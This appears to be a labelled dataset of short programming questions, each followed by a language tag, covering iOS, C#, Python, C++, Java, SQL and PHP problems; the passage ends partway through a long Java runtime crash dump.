mail uiactivityviewcontroller not dismissing  i have a uiactivityviewcontroller which won t dismiss the mail dialog on the ipad. the code is standard from an apple example and it works fine on the iphone.   <pre><code>   nsstring* sometext = [nsstring stringwithformat:@ %@ is really cool  sent from element story. en.wikipedia.info/wiki/%@                             [_detailitem description]  [_detailitem description]];     activityviewcustomprovider *customprovider =     [[activityviewcustomprovider alloc]init];      nsarray *items = [nsarray arraywithobjects:customprovider imageview.image sometext  nil];      //activityviewcustomactivity *ca = [[activityviewcustomactivity alloc]init];       // ...or whatever pieces of data you want to share.     uiactivityviewcontroller *activityvc =     [[uiactivityviewcontroller alloc] initwithactivityitems:items applicationactivities:nil];                                       //applicationactivities:[nsarray arraywithobject:ca]];  activityvc.excludedactivitytypes = @[uiactivitytypeassigntocontact  uiactivitytypeprint  uiactivitytypecopytopasteboard];     [self presentviewcontroller:activityvc animated:yes completion:^{}]; </code></pre>,ios
how to remove duplicate records from excel sheet using c#  how can i remove the duplicate records from an excel sheet using c# and insert all the records except that duplicate one in another excel sheet,.net
how to convert a double value to string without rounded  i have this variable:   <pre><code>double dou = 99.99; </code></pre>   i want to convert it to a string variable  and the string should be <code>99.9</code>.    i can do it like this:   <pre><code>string str = string.format( {0:0.#}   dou); </code></pre>   but the value i got is: <code>100</code> which is not <code>99.9</code>.    so how could i implement that     ps: this question is marked as duplicated. yes  they may have the same the solution (although i think that s a workaround)  but from different viewpoints.     for example  if there is another variable:   <pre><code>double dou2 = 99.9999999; </code></pre>   i want to convert it to string: <code>99.999999</code>  so how should i do  like this:   <pre><code>math.truncate(1000000 * value) / 1000000; </code></pre>   but what if there are more digits after dot,c#
thumbnails viewer - zoom out/in  just wondering if people can suggest a jquery plugin for displaying a thumbnails and when the user clicks on a thumbnail  the picture zooms in to a bigger size.    obviously would like to zoom back out when the user has  finished viewing the photo.    any ideas/urls would be appreciated.    thanks,jquery
how can i add consecutive number identifiers to new instances of objects   i m implementing r-trees on python  in secondary memory. i need to keep a file of the nodes  so i want to enumerate them for easy access and so i can create a file with the rectangles on each node. what i want to do is  every time i create a node  to give it an  id  which is a consecutive number.    i tried defining a global variable before and after my class definitions  but that doesn t seem to work. even if i define it as global  when i try to create a node  there s an error in <strong>init</strong> because  nodeid  is not defined  specifically when i try to add 1 to the variable:   <pre><code>global nodepath  path  nodeid ... nodeid = 0  class node:     def __init__(self  tag  t  n  inputfile  id = nodeid  init = true):         ...         self.id = id         nodeid += 1 </code></pre>   any ideas or suggestions would be great  thank you!,python
error with simple print_r() code  i have problem with that code so please send me answer as soon as possible.   <pre><code>echo  &lt;pre &gt; ;print_r($q) echo &lt;/pre&gt; ; </code></pre>,php
simple cpp map store and access not working as expected  i have the following code which uses map to insert nodes into <em>mp</em> according to a <em>key</em>. the class has two functions <em>set</em> and <em>get</em> to insert and access the map respectively.    <pre><code>struct node {   int value;   int key;   node(int k  int val):key(k) value(val) {}; };  class cache {   private:     map&lt;int  node*&gt; mp;     node* tail;     node* head;   public:     void set(int  int);     void get(int); };  void cache::set(int key  int value) {   node newn = node(key  value);   mp.insert(std::pair&lt;int  node*&gt;(key  &amp;newn)); }  void cache::get(int key) {   auto s = this-&gt;mp.find(key);   if (s != this-&gt;mp.end()) {     node *nhit = s-&gt;second;     std::cout &lt;&lt;  map key =   &lt;&lt; s-&gt;first;     std::cout &lt;&lt;   : node key =   &lt;&lt; nhit-&gt;key;     std::cout &lt;&lt;    value =   &lt;&lt; nhit-&gt;value &lt;&lt;  \n ;   } } </code></pre>   a driver main function implementation is below  which takes input of 2 lines and outputs key and value.    <pre><code>int main() {   int i;   cache l;   for(i = 0; i &lt; 2; i++) {     string command;     cin &gt;&gt; command;     if(command ==  get ) {       int key;       cin &gt;&gt; key;       l.get(key);     }     else if(command ==  set ) {       int key  value;       cin &gt;&gt; key &gt;&gt; value;       l.set(key  value);     }   }    return 0; } </code></pre>   input -    <blockquote>    set 2 3         get 2  </blockquote>   output -    <blockquote>    map key = 2 : node key = 32764  value = -491659096  </blockquote>   note - the output key and value keeps changing and are not fixed with each run.    why and how is the key and value getting changed for the map here,c++
convert nsstring to nsdate results in null  i want to convert the following date: 2010-02-01t13:58:58.513z    which is stored in a <code>nsstring</code>to and <code>nsdate</code>.    the following however just shows  null  in the debugger   <pre><code>nsdateformatter *formatter = [[nsdateformatter alloc] init];  [formatter setdateformat:@ yyyy-mm-ddthh:mm:ss.tttz ];  nslog(@ output: %@   [formatter datefromstring:@ 2010-02-01t13:58:58.513z ]);  [formatter release]; </code></pre>   ideas,objective-c
different behaviour of ++ operator in objective c   i compiled a program in objective c.   <pre>int a = 3;  a = (a++) * (a++);  nslog(@ a= %d  a);  </pre>   return the output: a=11    whereas in c# the output is 12.    can anyone explain me the difference in the behaviour of ++ operator in objective c,objective-c
stored procedure variable from table  i would like to set my variable  @xdate  to the field  updated  from  dbo.mtabel .   <pre><code>alter procedure [dbo].[sp_mproc] ( @snumber nvarchar(50)  @inumber nvarchar(10)  @tdate datetime ) as if exists (select snumber  updated from dbo.mtabel where snumber = @snumber and inumber = @inumber) go declare       @xdate datetime      @sdate datetime  select     @xdate = dbo.@updated      @ydate = getdate() </code></pre>,sql
how to insert cyrillic simbols in mysql table   i ve created a table lets say example. and insert values  as follows:   <pre><code>insert into example (column1) values ( оарвыларфдл ); </code></pre>   then i try to select the data from table and the output is:,mysql
launch android app when clicking on a url in the mobile browser  re: <a href= https://stackoverflow.com/questions/2958701/launch-custom-android-application-from-android-browser/12382173#12382173 >launch custom android application from android browser</a>    i have tried the approach as described in the above post  and it works perfectly if the url is clicked on within an app such as g+  twitter  etc. however  when i load a web page that contains the url with the mobile browser (both android and chrome browsers)  tapping on the url doesn t launch the app.    has anybody else seen this behavior,android
scanner line not available error  i call the <code>scanner.nextline()</code> method from two different scanner objects at two different methods. sometimes when i call the <code>scanner.nextline()</code> from the second method  it gives me an  <em>line not available</em>  error. what might be the problem    <pre><code>import java.util.scanner;  public class tictactoe {      private final string computer =  computer ;     private final string player =  player ;      /**      * asks the user to choose a letter ( x  or  o )      * and checks if the input is valid.      */     public void askletter() {         system.out.println( please enter  x  or  o :  );         scanner input = new scanner(system.in);         string letter = input.nextline().touppercase().trim();         while (!letter.equals( x ) &amp;&amp; !letter.equals( o )) {             system.out.println( please enter  x  or  o :  );             letter = input.nextline().touppercase().trim();         }         input.close();     }       /**      * asks the user to choose who goes first.       * @return  computer  or  player       */     public string decide() {         //system.out.println( choose who goes first( player  or  computer ):  );         scanner input = new scanner(system.in);         string first = input.nextline().touppercase().trim();         while (!first.equals(computer) &amp;&amp; !first.equals(player)) {             system.out.println( choose who goes first( player  or  computer ):  );             first = input.nextline().touppercase().trim();         }         input.close();         return first;     }      public static void main(string[] args) {         tictactoe tictac = new tictactoe();         tictac.askletter();         tictac.decide();     } } </code></pre>,java
c++ sql connection  get_driver_instance(); is undefined   error  mycode is ;   <pre><code> #include&lt;iostream&gt;  using namespace std;   #include &lt;string&gt;   #include  mysql_connection.h    #include &lt;stdlib.h&gt;   #include &lt;iomanip&gt;   #include &lt;cppconn/driver.h&gt;   #include &lt;cppconn/exception.h&gt;   #include &lt;cppconn/resultset.h&gt;   #include &lt;cppconn/statement.h&gt;   #include &lt;cppconn/prepared_statement.h&gt;   int main(){   cout&lt;&lt; sadullah ;       string database =  sch1667138 ;         string ipadress =  144.122.71.165 ;         string password =      ;         string username =      ;          sql::driver *driver;         sql::connection *con;      try {         driver =get_driver_instance();          con = driver-&gt;connect( tcp://  + ipadress +  :3306   username                  password);          con-&gt;setschema( sch1667138 );          cout &lt;&lt;  successfully connected to db....  &lt;&lt; endl;      } catch (sql::sqlexception &amp;e) {         cout &lt;&lt; e.what() &lt;&lt;endl;     }   return 0; } </code></pre>   when i run the code i take the message  reference undefined  get_driver_instance();  what should i do,c++
jre fatal error  i am getting following error some times in the middle of running application.what could be the reason  here is the full exception   <pre><code># # a fatal error has been detected by the java runtime environment: # #  sigbus (0x7) at pc=0x00007fa9b6c7cbf6  pid=13977  tid=140365014128384 # # jre version: java(tm) se runtime environment (7.0_51-b13) (build 1.7.0_51-b13) # java vm: java hotspot(tm) 64-bit server vm (24.51-b03 mixed mode linux-amd64 compressed oops) # problematic frame: # c  [libzip.so+0x5bf6]  readcen+0x8e6 # # failed to write core dump. core dumps have been disabled. to enable core dumping  try  ulimit -c unlimited  before starting java again # # if you would like to submit a bug report  please visit: #   http://bugreport.sun.com/bugreport/crash.jsp # the crash happened outside the java virtual machine in native code. # see problematic frame for where to report the bug. #  ---------------  t h r e a d  ---------------  current thread (0x00007fa930013000):  javathread  http-bio-8084-exec-18  daemon [_thread_in_native  id=14227  stack(0x00007fa946be5000 0x00007fa946ce6000)]  siginfo:si_signo=sigbus: si_errno=0  si_code=2 (bus_adrerr)  si_addr=0x00007fa928f73000  registers: rax=0x0000000058c26f2d  rbx=0x00007fa928f72fd4  rcx=0x00007fa928f73017  rdx=0x00000000c0cc7733 rsp=0x00007fa946ce0d10  rbp=0x00007fa946ce0ed0  rsi=0xffff8056d7297000  rdi=0x00007fa928f72fe7 r8 =0x00007fa9b6c891d7  r9 =0x0000000000000008  r10=0x00000000000005ae  r11=0x00007fa9bd731610 r12=0x00007fa928f72fb8  r13=0x0000000000000005  r14=0x00007fa928f61cd7  r15=0x00007fa928f73000 rip=0x00007fa9b6c7cbf6  eflags=0x0000000000010217  csgsfs=0x0000000000000033  err=0x0000000000000004   trapno=0x000000000000000e  top of stack: (sp=0x00007fa946ce0d10) 0x00007fa946ce0d10:   00007fa984459680 00007fa984459a58 0x00007fa946ce0d20:   00007fa946ce0e83 00007fa946ce0e82 0x00007fa946ce0d30:   00007fa946ce0e81 00007fa946ce0e80 0x00007fa946ce0d40:   00007fa946ce0e4a ffff8056d7297000 0x00007fa946ce0d50:   00007fa946ce0de0 ffffffff00000002 0x00007fa946ce0d60:   00007fa9540a08b0 000002d7b8006318 0x00007fa946ce0d70:   00007fa9540a6550 00007fa928f72fd4 0x00007fa946ce0d80:   00007fa928f72fd5 00007fa928f85d06 0x00007fa946ce0d90:   000000000021cd34 00000000001f8cd7 0x00007fa946ce0da0:   000002b2000005ae 00007fa928f85d34 0x00007fa946ce0db0:   0000003100000000 0000000000000031 0x00007fa946ce0dc0:   000000a40000005b 000000000021cd4a 0x00007fa946ce0dd0:   000000000020cccb 00007fa9540a3580 0x00007fa946ce0de0:   0000000014000060 a400000000000000 0x00007fa946ce0df0:   54454d001f634381 494c2f464e492d41 0x00007fa946ce0e00:   78742e45534e4543 0a031402014b5074 0x00007fa946ce0e10:   ea59860008080000 000d6b6cb3bb9742 0x00007fa946ce0e20:   0000130000251000 0000000000000000 0x00007fa946ce0e30:   4d001f7f3b81a400 2f464e492d415445 0x00007fa946ce0e40:   742e454349544f4e 000006054b507478 0x00007fa946ce0e50:   405d05ae05ae0000 0000001f8cd70002 0x00007fa946ce0e60:   0000000006054b50 0002405d05ae05ae 0x00007fa946ce0e70:   00000000001f8cd7 00000000000000a4 0x00007fa946ce0e80:   0000000000000001 00007fa9540a08b0 0x00007fa946ce0e90:   00007fa946ce0eb0 00007fa9bdd96d39 0x00007fa946ce0ea0:   0000000000000000 00007fa9540a08b0 0x00007fa946ce0eb0:   00007fa946ce0ef0 00000000000000a4 0x00007fa946ce0ec0:   0000000000000001 00007fa9540a08b0 0x00007fa946ce0ed0:   00007fa946ce1020 00007fa9b6c7d1e4 0x00007fa946ce0ee0:   00000141320cf908 00007fa946ce1050 0x00007fa946ce0ef0:   00007fa904034b50 00007fa95409f7d0 0x00007fa946ce0f00:   0000000000000001 00007fa9b8065b10   instructions: (pc=0x00007fa9b6c7cbf6) 0x00007fa9b6c7cbd6:   ff 49 8d 04 34 48 89 42 08 8b 85 e4 fe ff ff 31 0x00007fa9b6c7cbe6:   d2 83 e8 01 49 8d 4c 04 2f 89 d0 c1 e0 05 29 d0 0x00007fa9b6c7cbf6:   41 0f be 17 49 83 c7 01 49 39 cf 8d 14 10 75 e9 0x00007fa9b6c7cc06:   89 d0 89 d6 31 d2 f7 b5 9c fe ff ff 89 d2 48 c1   register to memory mapping:  rax=0x0000000058c26f2d is an unknown value rbx=0x00007fa928f72fd4 is an unknown value rcx=0x00007fa928f73017 is an unknown value rdx=0x00000000c0cc7733 is pointing into object: 0x00000000c0cc75e8 {instance class}   - klass: {other class} rsp=0x00007fa946ce0d10 is pointing into the stack for thread: 0x00007fa930013000 rbp=0x00007fa946ce0ed0 is pointing into the stack for thread: 0x00007fa930013000 rsi=0xffff8056d7297000 is an unknown value rdi=0x00007fa928f72fe7 is an unknown value r8 =0x00007fa9b6c891d7: &lt;offset 0x121d7&gt; in /usr/lib/jvm/jdk1.7.0/jre/lib/amd64/libzip.so at 0x00007fa9b6c77000 r9 =0x0000000000000008 is an unknown value r10=0x00000000000005ae is an unknown value r11=0x00007fa9bd731610: &lt;offset 0x184610&gt; in /lib/x86_64-linux-gnu/libc.so.6 at 0x00007fa9bd5ad000 r12=0x00007fa928f72fb8 is an unknown value r13=0x0000000000000005 is an unknown value r14=0x00007fa928f61cd7 is an unknown value r15=0x00007fa928f73000 is an unknown value   stack: [0x00007fa946be5000 0x00007fa946ce6000]   sp=0x00007fa946ce0d10   free space=1007k native frames: (j=compiled java code  j=interpreted  vv=vm code  c=native code) c  [libzip.so+0x5bf6]  readcen+0x8e6 c  [libzip.so+0x61e4]  zip_put_in_cache0+0x124 c  [libzip.so+0x4045]  java_java_util_zip_zipfile_open+0xe5 j  java.util.zip.zipfile.open(ljava/lang/string;ijz)j+0 j  java.util.zip.zipfile.&lt;init&gt;(ljava/io/file;iljava/nio/charset/charset;)v+148  java frames: (j=compiled java code  j=interpreted  vv=vm code) j  java.util.zip.zipfile.open(ljava/lang/string;ijz)j+0 j  java.util.zip.zipfile.&lt;init&gt;(ljava/io/file;iljava/nio/charset/charset;)v+148 j  org.apache.catalina.loader.webappclassloader.findresourceinternal(ljava/lang/string;ljava/lang/string;)lorg/apache/catalina/loader/resourceentry; j  org.apache.catalina.loader.webappclassloader.findclassinternal(ljava/lang/string;)ljava/lang/class;+84 j  org.apache.catalina.loader.webappclassloader.findclass(ljava/lang/string;)ljava/lang/class; j  org.apache.catalina.loader.webappclassloader.loadclass(ljava/lang/string;z)ljava/lang/class;+451 j  org.apache.catalina.loader.webappclassloader.loadclass(ljava/lang/string;)ljava/lang/class; v  ~stubroutines::call_stub j  org.apache.jasper.compiler.errordispatcher.createjavacerror(ljava/lang/string;lorg/apache/jasper/compiler/node$nodes;ljava/lang/stringbuffer;ilorg/apache/jasper/jspcompilationcontext;)lorg/apache/jasper/compiler/javacerrordetail;+36 j  org.apache.jasper.servlet.jspservletwrapper.handlejspexception(ljava/lang/exception;)lorg/apache/jasper/jasperexception;+116 j  org.apache.jasper.servlet.jspservletwrapper.service(ljavax/servlet/http/httpservletrequest;ljavax/servlet/http/httpservletresponse;z)v+434 j  org.apache.jasper.servlet.jspservlet.servicejspfile(ljavax/servlet/http/httpservletrequest;ljavax/servlet/http/httpservletresponse;ljava/lang/string;ljava/lang/throwable;z)v+134 j  org.apache.jasper.servlet.jspservlet.service(ljavax/servlet/http/httpservletrequest;ljavax/servlet/http/httpservletresponse;)v+435 j  javax.servlet.http.httpservlet.service(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+30 j  org.apache.catalina.core.applicationfilterchain.internaldofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+446 j  org.apache.catalina.core.applicationfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+101 j  org.apache.catalina.core.applicationdispatcher.invoke(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;lorg/apache/catalina/core/applicationdispatcher$state;)v+393 j  org.apache.catalina.core.applicationdispatcher.processrequest(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;lorg/apache/catalina/core/applicationdispatcher$state;)v+98 j  org.apache.catalina.core.applicationdispatcher.doforward(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+338 j  org.apache.catalina.core.applicationdispatcher.forward(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+55 j  org.springframework.web.servlet.view.internalresourceview.rendermergedoutputmodel(ljava/util/map;ljavax/servlet/http/httpservletrequest;ljavax/servlet/http/httpservletresponse;)v+243 j  org.springframework.web.servlet.view.abstractview.render(ljava/util/map;ljavax/servlet/http/httpservletrequest;ljavax/servlet/http/httpservletresponse;)v+84 j  org.springframework.web.servlet.dispatcherservlet.render(lorg/springframework/web/servlet/modelandview;ljavax/servlet/http/httpservletrequest;ljavax/servlet/http/httpservletresponse;)v+222 j  org.springframework.web.servlet.dispatcherservlet.processdispatchresult(ljavax/servlet/http/httpservletrequest;ljavax/servlet/http/httpservletresponse;lorg/springframework/web/servlet/handlerexecutionchain;lorg/springframework/web/servlet/modelandview;ljava/lang/exception;)v+98 j  org.springframework.web.servlet.dispatcherservlet.dodispatch(ljavax/servlet/http/httpservletrequest;ljavax/servlet/http/httpservletresponse;)v+421 j  org.springframework.web.servlet.dispatcherservlet.doservice(ljavax/servlet/http/httpservletrequest;ljavax/servlet/http/httpservletresponse;)v+319 j  org.springframework.web.servlet.frameworkservlet.processrequest(ljavax/servlet/http/httpservletrequest;ljavax/servlet/http/httpservletresponse;)v+72 j  org.springframework.web.servlet.frameworkservlet.doget(ljavax/servlet/http/httpservletrequest;ljavax/servlet/http/httpservletresponse;)v+3 j  javax.servlet.http.httpservlet.service(ljavax/servlet/http/httpservletrequest;ljavax/servlet/http/httpservletresponse;)v+35 j  org.springframework.web.servlet.frameworkservlet.service(ljavax/servlet/http/httpservletrequest;ljavax/servlet/http/httpservletresponse;)v+32 j  javax.servlet.http.httpservlet.service(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+30 j  org.apache.catalina.core.applicationfilterchain.internaldofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+446 j  org.apache.catalina.core.applicationfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+101 j  org.springframework.security.web.filterchainproxy$virtualfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+68 j  org.springframework.security.web.access.intercept.filtersecurityinterceptor.invoke(lorg/springframework/security/web/filterinvocation;)v+87 j  org.springframework.security.web.access.intercept.filtersecurityinterceptor.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+15 j  org.springframework.security.web.filterchainproxy$virtualfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+192 j  org.springframework.security.web.access.exceptiontranslationfilter.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+17 j  org.springframework.security.web.filterchainproxy$virtualfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+192 j  org.springframework.security.web.session.sessionmanagementfilter.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+258 j  org.springframework.security.web.filterchainproxy$virtualfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+192 j  org.springframework.security.web.authentication.anonymousauthenticationfilter.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+148 j  org.springframework.security.web.filterchainproxy$virtualfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+192 j  org.springframework.security.web.servletapi.securitycontextholderawarerequestfilter.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+17 j  org.springframework.security.web.filterchainproxy$virtualfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+192 j  org.springframework.security.web.savedrequest.requestcacheawarefilter.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+32 j  org.springframework.security.web.filterchainproxy$virtualfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+192 j  org.springframework.security.web.authentication.www.basicauthenticationfilter.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+54 j  org.springframework.security.web.filterchainproxy$virtualfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+192 j  org.springframework.security.web.authentication.abstractauthenticationprocessingfilter.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+28 j  org.springframework.security.web.filterchainproxy$virtualfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+192 j  org.springframework.security.web.authentication.logout.logoutfilter.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+149 j  org.springframework.security.web.filterchainproxy$virtualfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+192 j  org.springframework.security.web.context.securitycontextpersistencefilter.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+165 j  org.springframework.security.web.filterchainproxy$virtualfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+192 j  org.springframework.security.web.filterchainproxy.dofilterinternal(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+142 j  org.springframework.security.web.filterchainproxy.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+40 j  org.springframework.web.filter.delegatingfilterproxy.invokedelegate(ljavax/servlet/filter;ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+5 j  org.springframework.web.filter.delegatingfilterproxy.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;ljavax/servlet/filterchain;)v+83 j  org.apache.catalina.core.applicationfilterchain.internaldofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+151 j  org.apache.catalina.core.applicationfilterchain.dofilter(ljavax/servlet/servletrequest;ljavax/servlet/servletresponse;)v+101 j  org.apache.catalina.core.standardwrappervalve.invoke(lorg/apache/catalina/connector/request;lorg/apache/catalina/connector/response;)v+783 j  org.apache.catalina.core.standardcontextvalve.invoke(lorg/apache/catalina/connector/request;lorg/apache/catalina/connector/response;)v+166 j  org.apache.catalina.authenticator.authenticatorbase.invoke(lorg/apache/catalina/connector/request;lorg/apache/catalina/connector/response;)v+363 j  org.apache.catalina.core.standardhostvalve.invoke(lorg/apache/catalina/connector/request;lorg/apache/catalina/connector/response;)v+148 j  org.apache.catalina.valves.errorreportvalve.invoke(lorg/apache/catalina/connector/request;lorg/apache/catalina/connector/response;)v+6 j  org.apache.catalina.valves.accesslogvalve.invoke(lorg/apache/catalina/connector/request;lorg/apache/catalina/connector/response;)v+6 j  org.apache.catalina.core.standardenginevalve.invoke(lorg/apache/catalina/connector/request;lorg/apache/catalina/connector/response;)v+71 j  org.apache.catalina.connector.coyoteadapter.service(lorg/apache/coyote/request;lorg/apache/coyote/response;)v+196 j  org.apache.coyote.http11.abstracthttp11processor.process(lorg/apache/tomcat/util/net/socketwrapper;)lorg/apache/tomcat/util/net/abstractendpoint$handler$socketstate;+537 j  org.apache.coyote.abstractprotocol$abstractconnectionhandler.process(lorg/apache/tomcat/util/net/socketwrapper;lorg/apache/tomcat/util/net/socketstatus;)lorg/apache/tomcat/util/net/abstractendpoint$handler$socketstate;+158 j  org.apache.tomcat.util.net.jioendpoint$socketprocessor.run()v+106 j  java.util.concurrent.threadpoolexecutor.runworker(ljava/util/concurrent/threadpoolexecutor$worker;)v+95 j  java.util.concurrent.threadpoolexecutor$worker.run()v+5 j  java.lang.thread.run()v+11 v  ~stubroutines::call_stub  ---------------  p r o c e s s  ---------------  java threads: ( =&gt; current thread )   0x00007fa940290000 javathread  elasticsearch[osborn  norman][generic][t#4]  daemon [_thread_blocked  id=15050  stack(0x00007fa9466e0000 0x00007fa9467e1000)]   0x00007fa940111000 javathread  awt-xawt  daemon [_thread_in_native  id=14645  stack(0x00007fa929037000 0x00007fa929138000)]   0x00007fa94016d800 javathread  java2d disposer  daemon [_thread_blocked  id=14644  stack(0x00007fa9a0ae9000 0x00007fa9a0bea000)]   0x00007fa998024800 javathread  http-bio-8084-exec-22  daemon [_thread_blocked  id=14299  stack(0x00007fa92b8f9000 0x00007fa92b9fa000)]   0x00007fa93c002800 javathread  http-bio-8084-exec-21  daemon [_thread_blocked  id=14292  stack(0x00007fa944081000 0x00007fa944182000)]   0x00007fa9a403c800 javathread  http-bio-8084-exec-20  daemon [_thread_blocked  id=14280  stack(0x00007fa92bbfc000 0x00007fa92bcfd000)]   0x00007fa92c566800 javathread  http-bio-8084-exec-19  daemon [_thread_blocked  id=14273  stack(0x00007fa928d16000 0x00007fa928e17000)] =&gt;0x00007fa930013000 javathread  http-bio-8084-exec-18  daemon [_thread_in_native  id=14227  stack(0x00007fa946be5000 0x00007fa946ce6000)]   0x00007fa938003800 javathread  http-bio-8084-exec-17  daemon [_thread_blocked  id=14195  stack(0x00007fa9470ea000 0x00007fa9471eb000)]   0x00007fa98c001000 javathread  jdwp command reader  daemon [_thread_in_native  id=14155  stack(0x00007fa92bdfe000 0x00007fa92beff000)]   0x0000000000aaa800 javathread  http-bio-8084-exec-16  daemon [_thread_blocked  id=14152  stack(0x00007fa92beff000 0x00007fa92c000000)]   0x00007fa9b847f800 javathread  http-bio-8084-exec-15  daemon [_thread_blocked  id=14140  stack(0x00007fa92b1f2000 0x00007fa92b2f3000)]   0x00007fa96818d000 javathread  metrics-meter-tick-thread-2  daemon [_thread_blocked  id=14139  stack(0x00007fa92b2f3000 0x00007fa92b3f4000)]   0x00007fa9401d2000 javathread  elasticsearch[osborn  norman][management][t#2]  daemon [_thread_blocked  id=14138  stack(0x00007fa92b6f7000 0x00007fa92b7f8000)]   0x00007fa94ce66800 javathread  http-bio-8084-exec-14  daemon [_thread_blocked  id=14131  stack(0x00007fa92b3f4000 0x00007fa92b4f5000)]   0x00007fa94d3ff000 javathread  elasticsearch[reaper][generic][t#1]  daemon [_thread_blocked  id=14129  stack(0x00007fa92ad66000 0x00007fa92ae67000)]   0x00007fa97401d800 javathread  elasticsearch[reaper][transport_client_timer][t#1]{hashed wheel timer #2}  daemon [_thread_blocked  id=14128  stack(0x00007fa92ae67000 0x00007fa92af68000)]   0x00007fa94d3fd000 javathread  elasticsearch[reaper][transport_client_boss][t#1]{new i/o boss #18}  daemon [_thread_in_native  id=14127  stack(0x00007fa92af68000 0x00007fa92b069000)]   0x00007fa94d3de000 javathread  elasticsearch[reaper][transport_client_worker][t#8]{new i/o worker #17}  daemon [_thread_in_native  id=14126  stack(0x00007fa92b069000 0x00007fa92b16a000)]   0x00007fa94d3bf800 javathread  elasticsearch[reaper][transport_client_worker][t#7]{new i/o worker #16}  daemon [_thread_in_native  id=14125  stack(0x00007fa9a044c000 0x00007fa9a054d000)]   0x00007fa94d3a1000 javathread  elasticsearch[reaper][transport_client_worker][t#6]{new i/o worker #15}  daemon [_thread_in_native  id=14124  stack(0x00007fa947bfc000 0x00007fa947cfd000)]   0x00007fa94d382800 javathread  elasticsearch[reaper][transport_client_worker][t#5]{new i/o worker #14}  daemon [_thread_in_native  id=14123  stack(0x00007fa9479fa000 0x00007fa947afb000)]   0x00007fa94d364800 javathread  elasticsearch[reaper][transport_client_worker][t#4]{new i/o worker #13}  daemon [_thread_in_native  id=14122  stack(0x00007fa9a0700000 0x00007fa9a0801000)]   0x00007fa94d346800 javathread  elasticsearch[reaper][transport_client_worker][t#3]{new i/o worker #12}  daemon [_thread_in_native  id=14121  stack(0x00007fa9a0801000 0x00007fa9a0902000)]   0x00007fa94d329000 javathread  elasticsearch[reaper][transport_client_worker][t#2]{new i/o worker #11}  daemon [_thread_in_native  id=14120  stack(0x00007fa9478f9000 0x00007fa9479fa000)]   0x00007fa94d303000 javathread  elasticsearch[reaper][transport_client_worker][t#1]{new i/o worker #10}  daemon [_thread_in_native  id=14119  stack(0x00007fa92b5f6000 0x00007fa92b6f7000)]   0x00007fa94d2f5800 javathread  elasticsearch[reaper][scheduler][t#1]  daemon [_thread_blocked  id=14118  stack(0x00007fa947afb000 0x00007fa947bfc000)]   0x00007fa94d2f3800 javathread  elasticsearch[reaper][[timer]]  daemon [_thread_blocked  id=14117  stack(0x00007fa9477f8000 0x00007fa9478f9000)]   0x00007fa9401d0800 javathread  new i/o client worker #1-3  [_thread_in_native  id=14116  stack(0x00007fa945fd9000 0x00007fa9460da000)]   0x00007fa9401c0800 javathread  new i/o client worker #1-2  [_thread_in_native  id=14115  stack(0x00007fa9460da000 0x00007fa9461db000)]   0x00007fa94d2da800 javathread  hashed wheel timer #1  [_thread_blocked  id=14108  stack(0x00007fa9469e3000 0x00007fa946ae4000)]   0x00007fa9401a8000 javathread  new i/o client worker #1-1  [_thread_in_native  id=14107  stack(0x00007fa945ed8000 0x00007fa945fd9000)]   0x00007fa94d249000 javathread  metrics-meter-tick-thread-1  daemon [_thread_blocked  id=14105  stack(0x00007fa9a05ff000 0x00007fa9a0700000)]   0x00007fa94d231800 javathread  expirationstorecache-87  daemon [_thread_blocked  id=14104  stack(0x00007fa9462dc000 0x00007fa9463dd000)]   0x00007fa97400b800 javathread  elasticsearch[osborn  norman][generic][t#1]  daemon [_thread_blocked  id=14100  stack(0x00007fa9a034b000 0x00007fa9a044c000)]   0x00007fa940083000 javathread  elasticsearch[osborn  norman][transport_client_timer][t#1]{hashed wheel timer #1}  daemon [_thread_blocked  id=14099  stack(0x00007fa9463dd000 